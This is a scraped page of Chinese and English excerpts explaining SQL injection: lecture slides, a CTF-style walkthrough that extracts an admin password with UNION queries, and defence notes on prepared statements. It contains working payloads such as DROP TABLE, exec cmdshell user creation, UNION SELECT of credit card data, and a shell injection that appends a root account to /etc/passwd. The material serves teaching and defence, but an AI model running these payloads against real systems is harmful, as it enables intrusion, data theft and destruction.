精华内容
下载资源
问答
  • 展开查看详情1.1 SQL injection: attacks and defenses Dan Boneh CS 142 Winter 20092.Common vulnerabilities SQL Injection Browser sends malicious input to server Bad input checking leads to malicious SQL...

    展开查看详情

    1.1 SQL injection: attacks and defenses Dan Boneh CS 142 Winter 2009

    2.Common vulnerabilities SQL Injection Browser sends malicious input to server Bad input checking leads to malicious SQL query XSS – Cross-site scripting Bad web site sends innocent victim a script that steals information from an honest web site CSRF – Cross-site request forgery Bad web site sends request to good web site, using credentials of an innocent victim who “visits” site Other problems HTTP response splitting, bad certificates, … 2 Sans Top 10

    3.Common vulnerabilities SQL Injection Browser sends malicious input to server Bad input checking leads to malicious SQL query XSS – Cross-site scripting Bad web site sends innocent victim a script that steals information from an honest web site CSRF – Cross-site request forgery Bad web site sends request to good web site, using credentials of an innocent victim who “visits” site Other problems HTTP response splitting, bad certificates, … 2 Sans Top 10

    4.Code injection using system() Example: PHP server-side code for sending email Attacker can post OR $email = $_POST[“email”] $subject = $_POST[“subject”] system(“mail $ email –s $ subject < / tmp / joinmynetwork ”) http:// yourdomain.com/mail.php? email=hacker@hackerhome.net & subject= foo < / usr / passwd ; ls http:// yourdomain.com/mail.php? email= hacker@hackerhome.net&subject = foo ; echo “evil::0:0:root:/:/bin/ sh ">>/etc/ passwd ; ls

    5.SQL injection 5

    6.6 Database queries with PHP (the wrong way) Sample PHP $recipient = $_POST[‘recipient’]; $ sql = "SELECT PersonID FROM People WHERE Username= "; $ rs = $db-> executeQuery ($ sql ); Problem: Untrusted user input ‘recipient’ is embedded directly into SQL command

    7.Basic picture: SQL Injection 7 Victim Server Victim SQL DB Attacker post malicious form unintended SQL query receive valuable data 1 2 3

    8.8 CardSystems Attack CardSystems credit card payment processing company SQL injection attack in June 2005 put out of business The Attack 263,000 credit card #s stolen from database credit card #s stored unencrypted 43 million credit card #s exposed

    9.April 2008 SQL Vulnerabilities

    10.April 2008 SQL Vulnerabilities

    11.April 2008 SQL Vulnerabilities

    12.Web Server Web Browser (Client) DB Enter Username & Password SELECT * FROM Users WHERE user= me AND pwd = 1234 Normal Query

    13.Web Server Web Browser (Client) DB Enter Username & Password SELECT * FROM Users WHERE user= me AND pwd = 1234 Normal Query

    14.14 Even worse Suppose user = “ ′ ; DROP TABLE Users -- ” Then script does: ok = execute( SELECT … WHERE user= ′ ′ ; DROP TABLE Users … ) Deletes user table Similarly: attacker can add users, reset pwds , etc.

    15.15

    16.16 Even worse … Suppose user = ′ ; exec cmdshell ′ net user badguy badpwd ′ / ADD -- Then script does: ok = execute( SELECT … WHERE username= ′ ′ ; exec … ) If SQL server context runs as “ sa ”, attacker gets account on DB server.

    17.17 Getting private info

    18.Getting private info “SELECT pizza, toppings, quantity, date FROM orders WHERE userid =” . $ userid . “AND order_month =” . _GET[‘month’] SQL Query What if: month = “ 0 AND 1=0 UNION SELECT name, CC_num , exp_mon , exp_year FROM creditcards ”

    19.19 Results Credit Card Info Compromised

    20.Preventing SQL Injection Never build SQL commands yourself ! Use parameterized/prepared SQL Use ORM framework

    21.21 Parameterized/prepared SQL Builds SQL queries by properly escaping args : ′  \′ Example: Parameterized SQL: (ASP.NET 1.1) Ensures SQL arguments are properly escaped. SqlCommand cmd = new SqlCommand ( "SELECT * FROM UserTable WHERE username = @User AND password = @ Pwd ", dbConnection ); cmd.Parameters.Add (" @User ", Request[“user”] ); cmd.Parameters.Add (" @ Pwd ", Request[“ pwd ”] ); cmd.ExecuteReader (); In PHP: bound parameters -- similar function

    22.22 0x 5c  \ 0x bf 27  ¿′ 0x bf 5c  PHP addslashes () PHP: addslashes ( “ ’ or 1 = 1 -- ” ) outputs: “ \’ or 1=1 -- ” Unicode attack: (GBK) $user = 0x bf 27 addslashes ($user)  0x bf 5c 27  Correct implementation: mysql_real_escape_string() ′

    展开全文
  • SQL注入攻击原理以及基本方法

    万次阅读 多人点赞 2016-10-07 16:09:12
    一、SQL注入的概述 定义:SQL注入即是指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上... 为了更直观的让大家了解到sql注入的原理,贴上一张sql注入攻击示意图

    一、SQL注入的概述

    定义:SQL注入即是指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

                                        为了更直观的让大家了解到sql注入的原理,贴上一张sql注入攻击示意图

    ●SQL注入威胁表现形式可以体现为以下几点:

            ●绕过认证,获得非法权限

            ●猜解后台数据库全部的信息

            ●注入可以借助数据库的存储过程进行提权等操作

    ●SQL注入攻击的典型手段

            ●判断应用程序是否存在注入漏洞

            ●收集信息、并判断数据库类型

            ●根据注入参数类型,重构SQL语句的原貌

            ●猜解表名、字段名

            ●获取账户信息、攻击web或为下一步攻击做准备

    二、SQL注入的简单例子

    1.SQL注入漏洞的几种判断方法

            ①http://www.heetian.com/showtail.asp?id=40'

            ②http://www.heetian.com/showtail.asp?id=40 and 1=1

            ③http://www.heetian.com/showtail.asp?id=40 and 1=2

            如果执行①后,页面上提示报错或者提示数据库错误的话,说明是存在注入漏洞的。

            如果执行②后,页面正常显示,而执行③后,页面报错,那么说明这个页面是存在注入漏洞的。

    2.收集信息、判断数据库类型

            从其返回的信息中可以判断下数据库的类型,更多可能可以知道部分数据库中的字段以及其他有用信息,为下一步攻击提供铺垫。

    3.根据注入参数类型,重构SQL语句的原貌

            ①ID=40 这类注入的参数是数字型,那么SQL语句的原貌大致是:Select*from 表名 where 字段=40

            ②name=电影 这类注入的参数是字符型,SQL语句原貌大致是:Select*from 表名 where 字段=‘电影’

            ③搜索时没有过滤参数的,如keyword=关键字,SQL语句原貌大致是:Select*from 表名 where 字段 like ‘%关键字%’

    4.猜解表名、字段名(直接将SQL语句添加到URL后)

            ①and exists(select*from 表名)

            如果页面没有任何变化,说明附加条件成立,那么就是说明猜解的表名正确,反之,就是不存在这个表,接下来就继续猜解,知道正确

            ②and exists(select 字段 from 表名)

            方法原理同上

            ③猜解字段内容(利用以上猜解出的表名和字段名 方法较古老且麻烦)

            ●猜解字段内容的长度

            (select top 1 len(字段名)from 表名)>0 直至猜解到>n不成立的时候,得出字段的长度为:n+1。

            ●得到长度后,猜解具体的内容

            (select top 1 asc(mid(username,1,1))from 表名)>0直到>m不成立时,就可以猜解出ASCII码值了。



    注:本人新学习SQL注入,有不对之处望指出并修改,谢谢!!!

           

           









    展开全文
  • SQL注入攻击原理】前言判断是否存在SQL注入漏洞二、使用步骤1.引入库2.读入数据总结 前言 提示:通过sql注入拿到管理员密码! 尤里正在追女神小芳,在得知小芳开了一家公司后,尤里通过whois查询发现了小芳公司...


    前言

    提示:通过sql注入拿到管理员密码!
    尤里正在追女神小芳,在得知小芳开了一家公司后,尤里通过whois查询发现了小芳公司网站,学过一点黑客技术的他,想在女神面前炫炫技。于是他打开了传送门


    判断是否存在SQL注入漏洞

    注入点测试
    ?id=1 and 1=1#
    页面正常显示
    在这里插入图片描述

    判断SQL语句中一共返回多少列(联合注入)

    ?id=1 order by 2
    order by 2 回显正常:
    在这里插入图片描述
    ?id=1 order by 3
    Order by 3 回显不正常:在这里插入图片描述说明一共只返回了两列

    ?id=1 and 1=2 union selsct 1,2
    查看显示位
    在这里插入图片描述

    查看当前数据库名

    ?id=1 and 1=2 union select 1,database()

    在这里插入图片描述得到数据库名为maoshe

    查看当前数据库的表名

    ?id=1 and 1=2 union select 1,(select group_concat(table_name,"~") from information_schema.tables where table_schema='maoshe' )
    在这里插入图片描述得到数据库maoshe中存在表admin、dirs、news、xss

    查看admin表中的字段名

    ?id=1 and 1=2 union select 1,(select group_concat(column_name,"~") from information_schema.columns where table_schema='maoshe' and table_name='admin' )
    在这里插入图片描述
    得到表admin中存在字段Id、username、password

    利用获得库名、表名、字段名爆出数据

    ?id=1 and 1=2 union select 1,(select group_concat(id,'~',username,'~',password,'~') from maoshe.admin)
    在这里插入图片描述得到账号admin,密码hellohack

    密码就是flag

    Sql注入分类

    依据获取信息的方式分类
    1.基于布尔的盲注
    2.基于时间的盲注
    3.基于报错的注入
    4.联合查询注入
    5.堆查询注入(可同时执行多条语句)
    

    information_schema数据库

    tables表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。show tables from schemaname的结果取之此表。

    columns表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。show columns from schemaname.tablename的结果取之此表。

    group_concat函数

    group_concat([DISTINCT] 要连接的字段 [Order BY ASC/DESC 排序字段] [Separator ‘分隔符’])

    其他资源

    SQL注入的判断

    SQL五大注入手法

    SQL注入之联合查询注入

    展开全文
  • 一问了解SQL注入攻击以及防御手段。

    什么是SQL注入攻击?

    SQL Injection,SQL注入攻击:指攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。如果表单使用用户输入的内容直接构造SQL,则很容易受到SQL注入攻击。

    SQL注入攻击实例(实现无密码登录)

    1、假设用户需要登录某网站,该网站登录时查询用户的SQL如下:

    String queryUser = "SELECT * FROM users WHERE name = '" + userName + "' and pw = '"+ passWord +"';";

    可以看到,是直接拼接用户名和密码进行用户查询的。

    2、攻击者现在在用户名输入框中输入admin'--,密码输入框中输入123456

    3、则构造的查询SQL为:

    // 这是攻击者输入的用户名
    String userName = "admin'--";
    String passWord = "123456";
    
    // 后台的查询用户SQL
    String queryUser = "SELECT * FROM users WHERE name = '" + userName + "' and pw = '"+ pa
    展开全文
  • SQL 注入(SQLi)是一种可执行恶意 SQL 语句的注入攻击。这些 SQL 语句可控制网站背后的数据库服务。攻击者可利用 SQL 漏洞绕过网站已有的安全措施。他们可绕过网站的身份认证和授权并访问整个 SQL 数据库的数据。...
  • SQL注入攻击原理与几种防御方式

    千次阅读 2018-11-23 11:37:16
    二、SQL注入攻击的总体思路   1.寻找到SQL注入的位置 2.判断服务器类型和后台数据库类型 3.针对不同的服务器和数据库特点进行SQL注入攻击 三、SQL注入攻击实例   比如在一个登录界面,要求输入...
  • SQL注入攻击PPt

    2011-12-02 11:23:34
    SQL注入攻击概述及防御,为网络安全进行防御。里面主要讲解SQL注入原理,及攻击过程,和防御措施。
  • Sql注入基本原理

    万次阅读 多人点赞 2018-07-29 11:19:27
    SQL注入攻击通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,它目前是黑客对数据库进行攻击的最常用手段之一。
  • sql注入攻击详解(原理理解)

    千次阅读 2018-01-23 12:30:39
    其实sql注入漏洞就是一个。作为一个菜鸟小程序员,我对sql注入的东西了解的也不深入,所以抽出时间专门学习了一下。现在把学习成果分享给大家,希望可以帮助大家学习。下面我们就来看一下。 一、什么是sql注入呢? ...
  • 展开全部SQL注入就是攻击者通过正常的WEB页面,把自己SQL代码传入...当应用程序使用输入内容来构造动态SQL语句以访问数据库时,会发生SQL注入攻击。如果代码使用存储过程,而这些存储过程作为包含未筛选的用户...
  • SQL注入基本原理WEB技术发展日新月异,但是徒手拼SQL的传统手艺还是受相当多的开发者亲睐。毕竟相比于再去学习一套复杂的ORM规则,手拼更说方便,直观。通常自己拼SQL的人,应该是有听说过SQL注入很危险,但是总是...
  • java-sql注入攻击

    2021-03-01 09:26:53
    注射式攻击原理SQL注射能使攻击者绕过认证机制,完全控制远程服务器上的数据库。SQL是结构化查询语言的简称,它是访问数据库的事实标准。目前,大多数Web应用都使用SQL数据库来存放应用程序的数据。几乎所有的Web...
  • sql注入攻击如何实现

    2021-03-04 04:33:51
    至于如何预防SQL注入,按理说应该是开发该了解的事情~但是作为一个棒棒的测试,搞清楚原理是不是能让我们更加透彻地理解bug的产生原因呢~好啦,话不多说,进入正题~如何理解SQL注入(攻击)?SQL注入是一种将SQL代码...
  • sql注入基础原理(超详细)

    万次阅读 多人点赞 2019-05-17 17:14:06
    一、Sql注入简介 Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,它目前黑客对数据库进行攻击的最常用手段之一。 二、Web 程序三层架构 三层...
  • SQL注入漏洞原理

    2021-11-22 23:44:25
    二、SQL注入攻击的总体思路 1.寻找到SQL注入的位置 2.判断服务器类型和后台数据库类型 3.针对不同的服务器和数据库特点进行SQL注入攻击 三、SQL注入攻击实例 比如在一个登录界面,要求输入用户名和密码: 可以这样...
  • SQL注入是网站存在最多也是最简单的漏洞,主要原因是程序员在开发用户和数据库交互的系统时没有对用户输入的字符串进行过滤、转义、限制或处理不严谨,导致攻击者可以通过输入精心构造的字符串去非法获取到数据库中...
  • JDBC 的 PrepareStatement 可以阻止 SQL 注入攻击,MyBatis 之类的 ORM 框架也可以阻止 SQL 注入,如何实现的? 因为SQL语句在程序运行前已经进行了预编译,在程序运行时第一次操作数据库之前,SQL语句已经被数据库...
  • 点击上方蓝色“方志朋”,选择“设为星标”回复“666”获取独家整理的学习资料!SQL注入攻击是黑客对数据库进行攻击常用的手段之一,随着B/S模式应用开发的发展,使用这种模式编写应用程序的程...
  • 防止SQL注入:1、开启配置文件中的magic_quotes_gpc和magic_quotes_runtime设置2、执行sql语句时使用addslashes进行sql语句转换3、Sql语句书写尽量不要省略小引号和单引号4、过滤掉sql语句中的一些关键字:update、...
  • sql注入原理及防范方式

    千次阅读 2019-08-16 21:56:54
    sql注入是一种危险系数较高的攻击方式,现在由于我们持久层框架越来越多,大部分框架会处理这个问题,因此导致我们对它的关注度越来越少了。最近部门在整理安全漏洞时,提到了一些关于sql注入的修改点,因此共同...
  • SQL注入原理分析

    2021-02-05 16:23:11
    注入攻击的本质,是把用户输入的数据当做代码执行。注入的关键条件:第一个是用户能够控制输入第二个是原本程序要执行的代码,拼接了用户输入的数据然后进行执行1.sql注入本质是什么把用户输入当做代码执行2.sql注入...
  • 通过SQL注入攻击,掌握网站的工作机制,认识到SQL注入攻击的防范措施, 加强对Web攻击的防范。 二、实验原理 SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义...
  • 至于如何预防SQL注入,按理说应该是开发该了解的事情~但是作为一个棒棒的测试,搞清楚原理是不是能让我们更加透彻地理解bug的产生原因呢~好啦,话不多说,进入正题~如何理解SQL注入(攻击)?SQL注入是一种将S...
  • SQL注入攻击实战演练

    2021-04-20 19:40:48
    SQL注入攻击的学习,我们更多的目的是为了学习攻击技术和防范策略,而不是刻意去攻击数据库。 首先我们先进入实验地址《SQL 注入》。 SQL注入是一种代码注入技术,过去常常用于攻击数据驱动性的应用,实质就是将恶意...
  • 我在其中设立了发展本地XAMPP服务器,我有一个表像这样:如何对此代码执行SQL注入攻击?CREATE TABLE `entries`(`id` int(10) UNSIGNED NOT NULL,`title` varchar(100) NOT NULL,`entry` text NOT NULL,`date_...
  • ​ 代码注入是针对Web应用程序的主流攻击技术之一,在OWASP公布的TOP10(十大安全漏洞列表)名列前茅,所以SQL注入漏洞是不容小觑的,要深入了解其原理及防御手段。 在榜单中,A1注入injection:将不信任的数据作为...
  • 下面要为大家介绍的是SQL注入,对于sql注入,相信程序员都知道或者使用过,如果没有了解或完全没有听过也没有关系,我们可以通过下面来一起学习下。 什么是sql注入sql注入就是通过把SQL命令插入到Web表单递交或...
  • SQL注入原理

    2021-02-07 11:14:30
    当客户端提交的数据未作处理或转义直接带入数据库,就造成了sql注入攻击者通过构造不同的sql语句来实现对数据库的任意操作。SQL注入的分类按变量类型分:数字型和字符型按HTTP提交方式分:POST注入、GET注入和...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 25,807
精华内容 10,322
关键字:

sql注入攻击的原理